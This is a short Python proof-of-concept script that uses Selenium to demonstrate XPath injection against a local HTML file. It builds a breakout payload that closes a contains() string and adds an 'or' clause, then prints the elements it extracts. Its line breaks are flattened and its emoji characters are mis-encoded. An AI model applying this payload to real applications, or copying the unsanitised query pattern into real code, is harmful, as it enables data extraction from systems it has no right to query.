import os import sys from selenium import webdriver from selenium.webdriver.chrome.service import Service from selenium.webdriver.common.by import By from webdriver_manager.chrome import ChromeDriverManager if len(sys.argv) < 2: print("āŒ Error: Please provide the path to an HTML file.") print("Usage: python poc_exploit.py [target_keyword]") sys.exit(1) html_filename = sys.argv[1] target_keyword = sys.argv[2] if len(sys.argv) > 2 else "secret" if not os.path.exists(html_filename): print(f"āŒ Error: File '{html_filename}' not found.") sys.exit(1) html_path = os.path.abspath(html_filename) options = webdriver.ChromeOptions() options.add_argument("--headless") driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options) try: driver.get(f"file://{html_path}") print(f"\nāœ“ Target Loaded: {html_filename}") print(f"šŸŽÆ Injected Search Keyword: '{target_keyword}'") # The Vulnerability Payload Breakout malicious_payload = f"') or contains(text(), '{target_keyword}" elements_injected = driver.find_elements(By.XPATH, f"//*[contains(text(), '{malicious_payload}')]") print(f"\n[Injected Search] Found {len(elements_injected)} elements.") print("=" * 60) print(f"{'#':<5} | {'TAG':<10} | {'ID':<15} | {'CONTENT EXTRACTED'}") print("=" * 60) match_count = 0 # Skip huge containers and metadata shells to avoid terminal flooding skip_tags = ['html', 'body', 'head', 'style', 'script', 'tbody', 'table', 'tr'] for el in elements_injected: tag = el.tag_name.lower() if tag in skip_tags: continue element_id = el.get_attribute('id') or "None" text_content = el.get_attribute('textContent').strip() # Normalize whitespace text_content = " ".join(text_content.split()) if text_content: match_count += 1 # Truncate strings longer than 100 characters for scannability display_text = text_content if len(text_content) <= 100 else f"{text_content[:97]}..." # Simple terminal visual indicator for where the keyword was found if target_keyword.lower() in display_text.lower(): display_text = f"🚨 [FOUND MATCH] -> {display_text}" print(f"{match_count:<5} | {tag:<10} | {element_id:<15} | {display_text}") finally: driver.quit()